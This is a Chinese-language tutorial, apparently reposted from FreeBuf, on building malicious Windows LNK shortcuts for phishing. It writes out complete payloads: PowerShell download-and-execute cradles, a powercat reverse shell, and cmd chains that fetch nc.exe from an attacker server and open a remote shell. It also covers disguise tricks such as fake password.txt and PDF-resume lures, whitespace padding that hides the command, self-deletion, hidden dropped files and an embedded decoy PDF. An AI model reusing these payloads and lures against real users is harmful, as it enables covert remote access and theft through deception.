LNK攻击浅析(一)
2024-4-24 13:5:27 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

.LNK文件是一种Windows文件类型,通常称为快捷方式,在计算机上看到并使用过它们,以便我们轻松地直接从桌面启动。

LNK 文件的例子:双击如下图所示的google chrome图标来打开google chrome浏览器。

1712235281_660ea3114b7e3c3b9ed4d.png!small?1712235282814

那么接下来考虑的是如何利用快捷方式加载恶意程序文件,这里还是以google chrome为例,查看快捷方式的属性,目标:"C:\Program Files\Google\Chrome\Application\chrome.exe

1712235672_660ea498cd91ae5042d33.png!small?1712235674424

目标指向一个可执行文件,用户在双击快捷方式后,则执行目标指向的exe文件,其本质还是执行指向的文件或命令。

LNK攻击通常涉及使用一些 LOLBINS( Living Off The Land Binaries 离地攻击二进制文件,和无文件落地很像)来下载和执行下载一个恶意软件。也可以是执行cmd和powershell等命令或执行 mshta.exe 和 regsrv32.exe等文件(包括但不限于:owershell.exe、bitsadmin.exe、certutil.exe、psexec.exe、wmic.exe、mshta.exe、mofcomp.exe、cmstp.exe、windbg.exe、cdb.exe、msbuild.exe、csc.exe)。

LNK攻击实例

新建一个快捷方式

1712235705_660ea4b91d3f1bf117e32.png!small?1712235708521

对象位置输入cmd(powershell或calc都行,等会目标得换)

1712235742_660ea4dea7bb2cc553fe7.png!small?1712235744184

下一步

1712235757_660ea4ed2479a87a2abb3.png!small?1712235758920

点击“完成”,这时候桌面上多了一个cmd的快捷方式

1712235342_660ea34ead0d107cfe9e1.png!small?1712235344263

右击这个快捷方式,属性->常规

1712235778_660ea5028c39cf7ebe01d.png!small?1712235780645

将名称改成一个比较容易迷惑人的名称,这里改成“Google Update Client”

快捷方式选项卡,更改图标

1712235803_660ea51bdcde1779aae52.png!small?1712235805580

在搜索框中输入:%SystemRoot%\System32\SHELL32.dll,(还有一个图标更换路径:%SystemRoot%\\System32\\imageres.dll)回车,即可选择图标

1712235821_660ea52dc93261431d678.png!small?1712235823866

选择符合名称的图标,点击确认即可

1712235841_660ea541338ce8ad6d397.png!small?1712235842909

1712235850_660ea54a2ea8c38a89fd8.png!small?1712235851995

攻击机(实战中一般为公网vps)起一个web服务,这里用python

python -m http.server --bind=192.168.0.101 8888

1712235868_660ea55c93ec8c7a6a762.png!small?1712235870070

然后在web的根目录下,新建一个ps1文件

这里命名为main.ps1:

(new-object System.Net.WebClient).DownloadFile('http://192.168.0.101:8888/mytest.exe','C:\Users\Public\Downloads\mytest.exe')

cmd /c C:\Users\Public\Downloads\mytest.exe

1712235906_660ea5820e224e8f79899.png!small?1712235907487

(paylaod功能:第一个命令从192.168.0.101:8888下载mytest.exe到C:\Users\Public\Downloads\文件夹下,第二个命令是执行C:\Users\Public\Downloads\文件夹下的mytest.exe)

然后在新建的Google Update Client快捷方式的目标中输入:

powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101:8888/main.ps1');main.ps1"(这里解释下上面的payload的功能,下载从192.168.0.101:8888下载main.ps1,然后执行main.ps1文件)

1712235932_660ea59cf0f008b76cba7.png!small

这时候双击快捷方式,就从web服务上下载mytest.exe到C:\Users\Public\Downloads文件夹下,然后执行mytest.exe

mytest.exe下载到执行文件夹下

1712235971_660ea5c34487ecc932930.png!small?1712235973168

已经上线了

1712235984_660ea5d01a535dba701c7.png!small?1712235985639

Tips:这里需要注意lnk文件的目标不能直接访问(下载)exe文件并执行它

将目标改成:

powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101:8888/mytest.exe');mytest.exe"

1712235996_660ea5dcc2d6c5b0350ac.png!small?1712235998498

双击lnk文件后,确实访问了web的mytest.exe文件

1712236008_660ea5e86c408bfad9883.png!small?1712236009998

但是cs没有收到shell

1712236018_660ea5f21852e7080c70a.png!small?1712236019655

那么确实只能通过访问能在目标执行的ps1或bat等脚本来间接下载木马然后执行它。

TIPS:

既然提到了执行命令的路径,这里需要提醒一下,其实使用命令的相对路径会好一些,攻击者所使用的命令路径不一定跟被攻击者的路径一致,而写入lnk文件会自动变成攻击者命令所在的绝对路径,如:cmd.exe会被填充成:C:\Windows\System32\cmd.exe,那么不如直接设置成相对路径

“%SystemRoot%\system32\cmd.exe(或%windir%/System32/cmd.exe)”

还有%ComSpec%(环境变量)可是可以代替C:\Windows\System32\cmd.exe

1712236034_660ea6027f82af2048456.png!small?1712236036057

使用powercat脚本反弹shell

或者截住一些ps脚本通过powershell的执行反弹shell

这里用的是

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

因为这个url需要挂梯子,所以将powercat.ps1下载到本地

攻击机在powercat.ps1所在文件夹起一个简单的web服务

python -m http.server --bind=192.168.0.104 8888

1712236047_660ea60f9d37d957f7f6d.png!small?1712236049225

lnk的目标设置为:

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.104:8888/powercat.ps1');powercat -c 192.168.0.104 -p 6666 -e cmd

1712236056_660ea618ee9896fe87bec.png!small?1712236059091

点击“确认”后,双击“Google Update Client”快捷方式(被攻击方会弹窗),收到shell

1712236071_660ea627ad1bec83ff2df.png!small?1712236073288

其他相似的利用方式也有很多,请参考“反弹shell方式总结windows篇.docx”

加密文档结合lnk钓鱼

先生成一个快捷方式,如:cmd(后面目标会改)

1712236085_660ea635e9155f296b2cb.png!small?1712236087391

生成后,先更改图标

1712236103_660ea64717f331c5904ea.png!small?1712236106595

选择“文本文档”图标

1712236113_660ea651ef96aa76ecd38.png!small?1712236115507

点击确认后,快捷方式的图标变成文本文档了,然后将快捷方式命名为“password.txt”

1712236131_660ea663a33ca981980b3.png!small?1712236136180

新建文档“李云龙-简历-渗透测试工程师.docx”,设置密码:Test@1369

1712236170_660ea68a7a9b64779ee48.png!small?1712236172098

再打开“李云龙-简历-渗透测试工程师.docx”就需要密码了

1712236179_660ea69309240799d2eda.png!small?1712236180960

现在回到快捷方式,修改目标为:cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt) & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.1.105:8088/nc.exe & .\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)

(Tips:这里说明下上面的命令,执行快捷方式文件后,会将“Test@1369”写入新生成的password.txt文件中,然后打开password.txt文件,接下来会从192.168.1.105:8088上下载nc.exe,并执行反弹shell操作)

1712236193_660ea6a19df938c4c4ca4.png!small?1712236196143

攻击端在nc所在目录下用python起一个web服务

python -m http.server --bind=192.168.1.105 8088

1712236209_660ea6b14bee0b53a00fc.png!small?1712236210837

攻击端监听8888端口

1712236222_660ea6bebfe05aec67b80.png!small?1712236224240

这里将lnk文件和简历word文件放在一个文件夹内,命名为:李云龙-简历-渗透测试工程师

1712236249_660ea6d90b8b5703d25be.png!small?1712236250475

添加到压缩包(还可以利用自解压运行,这里暂且不表

1712236257_660ea6e12cb3b7dd35cc9.png!small?1712236263103

模拟钓鱼

将此压缩包丢虚拟机,被攻击者打开简历word文档,发现加密了

1712236267_660ea6eb84d762974514d.png!small?1712236269050

这时候被攻击者就会打开名为password.txt的lnk文件,去查看密码,txt

文档被打开,显示密码

1712236276_660ea6f4955c521e02939.png!small?1712236278071

同一时间,从攻击端下载nc

1712236285_660ea6fd31cc5d8e948e6.png!small?1712236286631

下载后执行nc反弹shell命令,攻击端收到反弹shell

1712236296_660ea70816405943cd8ca.png!small?1712236298129

优化钓鱼一

这里为了更符合实战钓鱼将lnk文件目标处输入的命令进行修改

将下载的nc.exe文件放到D盘某个目录下,这里因为虚拟机只有C盘则放到C盘,C:\Users文件夹下(这里仅为举例,通过测试,好像这个文件夹下如果不是管理员账户是没有修改权限,也就是写入不了文件的),打开password.txt文本文件后,删除password.txt.lnk文件

cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)

但是这样就超出“目标”的长度限制了,长度限制为260(小于)

上述payload放入lnk文件 的目标后,自动截断成如下:

C:\WINDOWS\system32\cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\sys

长度为259,且相关的系统命令会自动填充绝对路径,如:cmd.exe会填充为C:\WINDOWS\system32\cmd.exe;

powershell.exe会填充为C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

1712236367_660ea74f1b55de2c940e7.png!small?1712236368544

突破lnk目标长度限制方法

先将要执行的命令放入test.txt文件中

/c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)

利用powershell来突破,代码如下:

$file = Get-Content ".\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\password.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,70"
$Shortcut.Arguments = '                                                                                                                                                                                                                                                                                                                                                                                 '+ $file
$Shortcut.Save()

第一行就是读取test.txt中的内容

第三行是创建一个名为password.txt的lnk文件

第四行设置lnk文件的目标为%SystemRoot%\system32\cmd.exe(设置成%windir%/System32/cmd.exe也可)

第5行设置lnk文件的图标为文本文档的图标(最后的70表示文本文档图标,修改数字则设置相应图标)

第六行是添加值到lnk文件的目标(这里就是突破目标长度的限制的关键代码)

第七行就是保存(执行保存操作才会新建上述功能的lnk文件)

1712236406_660ea776dbddbd688942e.png!small?1712236408953

生成了password.txt.lnk文件

1712236445_660ea79de8fdecd0b4e4e.png!small?1712236450697

查看lnk文件的属性,发现填充的空白,写入的命令在空白文件之后,这样也可以迷惑被攻击者

1712236458_660ea7aaa3dde5377b275.png!small?1712236460223

将“目标”框内的光标拉到输入框的最左边,才能看到cmd.exe

1712236472_660ea7b8691312c2c5352.png!small?1712236474048

现在起web服务

python -m http.server --bind=192.168.0.102 8088

1712236481_660ea7c1da3a9030c9333.png!small?1712236483424

监听端口

1712236491_660ea7cb052b6f42ff5f3.png!small?1712236492605

模拟被攻击者解压简历压缩文件后打开password.txt.lnk

password.txt文件被新建且被打开,同时lnk文件被删除

1712236504_660ea7d8ad85da5f26a61.png!small?1712236506340

Web服务收到请求

1712236530_660ea7f24ea46a4a22360.png!small?1712236531906

收到shell

1712236539_660ea7fb66548f8b68098.png!small?1712236541231

优化钓鱼二

使用010edit打开lnk文件sExtraData字段的EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode可以看到调用的是cmd.exe

1712236566_660ea8163b5892dbf6bc5.png!small?1712236567943

这里将EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode中的cmd.exe换成其它不存在的exe文件名,这样可以很好的迷惑被攻击者(还有一个思路可以换成危害不大的exe文件名,如:adobe.exe

这里换成waiting.exe

1712236581_660ea8250204cabebdac3.png!small?1712236582643

保存后,发现lnk文件的目标已经被修改

1712236592_660ea83016ba464ff60bc.png!small?1712236593844

双击lnk文件如果运行出错,那么修改sLinkTargetIDList字段的sIDList的值为cmd.exe(在不同场景中修改成相应的能运行的文件)

1712236607_660ea83f6eddab452a27d.png!small?1712236609528

Tips:

这里需要注意,在做完lnk文件的伪装操作后,一定要在其他电脑上进行测试,双击lnk文件是否会出错,在测试时发现,在攻击端(生成lnk文件的电脑上)修改目标的执行文件名为不存在的文件名时(系统目录不存在),会正常执行,在被钓鱼端执行依然会报错显示文件不存在

1712236619_660ea84b9542cb98a5ff2.png!small?1712236621487

怎么解决这个问题呢,经过测试,在被钓鱼端运行一次报文件不存在后,在被钓鱼端用010edit修改lnk文件的sLinkTargetIDList字段的sIDList的值的ExtraDataBlock的值设置成cmd.exe就可以正常执行了

1712236653_660ea86d567c4bb0d6579.png!small?1712236655548

保存修改后,将此文件丢到另一个被钓鱼端运行,发现没有报错了,且目标的执行文件名改成了waiting.exe,且新建password.txt和打开它

1712236666_660ea87ac54b6c68b6f5a.png!small?1712236668712

收到反弹shell

1712236675_660ea883e3ad6c350b3de.png!small?1712236677929

所以真实钓鱼中,一定要在另一台电脑上(虚拟机也可以)运行自己做lnk文件,报错,就在另一台电脑上按上述进行修改

优化钓鱼三

在目录下选择查看隐藏文件仍无法查看(在cmd下使用dir命令依然查看不了文件和文件夹,但是使用everything这类文件搜索工具依然可以搜索到隐藏文件和文件夹)

命令行输入:attrib +s +h +r 要隐藏的文件

attrib +s +h +r(不指定文件,则隐藏当前文件夹下所有文件)

未执行命令前

1712236896_660ea960e25dd37ca8f61.png!small?1712236899260

执行命令后,sigthief.py在文件夹下打开“隐藏的项目”看不到,在命令行也看不到(文件个数在命令行下都减少了一个)

1712236920_660ea9782f3121a804958.png!small?1712236921778

但是sigthief.py依然可以正常使用

1712236941_660ea98dd1cfe3c6c7c78.png!small?1712236943774

输入:attrib -s -h -r sigthief.py,即可解除隐藏

1712236957_660ea99d8d555847166bf.png!small?1712236959569

attrib -s -h –r(不指定文件,则解除当前文件夹内所有隐藏)

在实际钓鱼中,有些文件夹确实需要权限,或者指定的目录不存在(相对路径如果../这种形式超出当前盘符的话就会保存失败),当前文件夹是比较靠谱的(相对路径),但是很容易发现,这时候就可以将其隐藏

思路就是将下载后的exe文件进行隐藏

优化后的payload如下:

cmd /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.0.102:8088/nc.exe & attrib +s +h +r nc.exe & .\nc.exe 192.168.0.102 8888 -e c:\windows\system32\cmd.exe)

使用powershell脚本突破lnk文件长度,生成了password.txt的lnk文件

然后按照优化二将lnk文件利用010edit进行修改

现在模拟,钓鱼,解压简历压缩包后,被攻击者加入查看lnk文件的目标,看到是waiting.exe,根本不知道这是什么文件

1712237010_660ea9d21a96c1e2b80d3.png!small?1712237011690

然后双击lnk文件,nc文件隐藏了,且通过命令行也查看不到

1712237027_660ea9e3e83302d4a7e25.png!small?1712237030174

收到反弹shell

1712237057_660eaa0141d728d747f91.png!small?1712237059269

取消隐藏nc文件attrib -s -h –r

1712237067_660eaa0b45aebb4b9239d.png!small?1712237069674

优化钓鱼四

假设将lnk文件伪造成pdf或文档类型(doc、xlsx、ppt等),来钓鱼,那么如果文件夹查看方式为“详细信息”,可能就会看到lnk文件过小

1712237078_660eaa1637ea6b38a11ed.png!small?1712237079889

将lnk文件的图标改成pdf样式,使用010edit打开,修改ICON_LOCATION的值为.\1.pdf,修改为相关后缀,系统即可动关联到对应的打开方式

1712237099_660eaa2b5ae7f145b97be.png!small?1712237101017

那么就将真正的相应伪造的文件跟lnk文件进行捆绑,双击lnk文件就会真正打开相应的文件,且lnk文件的大小也会变大(lnk文件跟捆绑的文件的大小之和)

copy /b 产品经理简历.pdf.lnk + 产品经理简历.pdf 产品经理简历.pdf.lnk

1712237142_660eaa5660c87d60281f3.png!small?1712237144268

可以看到lnk文件的大小已经变大

1712237231_660eaaaf6b92731b625bc.png!small?1712237233376

双击lnk文件,打开计算器

但是上面的直接复制并不能打开真正的pdf文件,做如下几步即可

第一步

先用powershell代码生成lnk文件

$file = Get-Content ".\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\password.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,70"
$Shortcut.Arguments = '                                                                                                                                                                                                                                                                                                                                                                                 '+ $file
$Shortcut.Save()

1712237366_660eab366db348781b1a2.png!small?1712237367978

其目标值为:

/c findstr "JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUG" 产品经理简历.pdf.lnk>%TEMP%\test & certutil -decode %TEMP%\test %TEMP%\产品经理简历.pdf & start %TEMP%\产品经理简历.pdf & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.0.106:8088/nc.exe & attrib +s +h +r nc.exe & .\nc.exe 192.168.0.106 8888 -e c:\windows\system32\cmd.exe & exit)

1712237378_660eab4236239632bd461.png!small?1712237379763

Tips:

这里需要注意,要将test3.txt的编码格式设置为“ANSI编码”,不然将payload写入lnk目标后,中文字符会变成乱码,从而使真正的pdf文件不能解码打开

1712237389_660eab4d5d25c7a7298e8.png!small?1712237390991

第二步

修改ICON_LOCATION的值为“.\ 1.pdf”

1712237401_660eab59d779ec5a627ed.png!small?1712237406177

第三步

将要伪造的文件,如pdf的内容进行base64加密,然后使用copy命令进行捆绑

1、将pdf的内容进行base64加密

1712237542_660eabe676789772df15b.png!small?1712237545209

import os,base64

file = open("产品经理简历.pdf","rb")
text = file.read()
file.close()
data = base64.b64encode(text)
print(str(data).split("b'")[1].split("'")[0])
f = open("test","w")
f.write("\n"+str(data).split("b'")[1].split("'")[0])
f.close()

这里将pdf的内容base64编码后记得加个换行后保存到test文件中,不加换行保存到test文件跟lnk文件绑定后,使用findstr找到的base64编码后pdf内容前会有其它值

1712237587_660eac13712cbe96fccd7.png!small?1712237589088

因此在base64值前加个换行就可以解决这个问题

1712237598_660eac1e1d750d131d81d.png!small?1712237600157

2、将上图中的base64保存在test文件中,然后将lnk文件和test进行捆绑

copy /b 产品经理简历.pdf.lnk + test 产品经理简历.pdf.lnk

1712237614_660eac2e48a1cb88eb9a0.png!small?1712237615997

现在模拟被钓鱼者打开产品经理简历lnk文件, 会自动打开pdf简历

1712237646_660eac4e5fe46f55b996b.png!small?1712237648402

收到反弹shell

1712237655_660eac5766fd7419269aa.png!small?1712237657042


文章来源: https://www.freebuf.com/articles/web/397007.html
如有侵权请联系:admin#unsafe.sh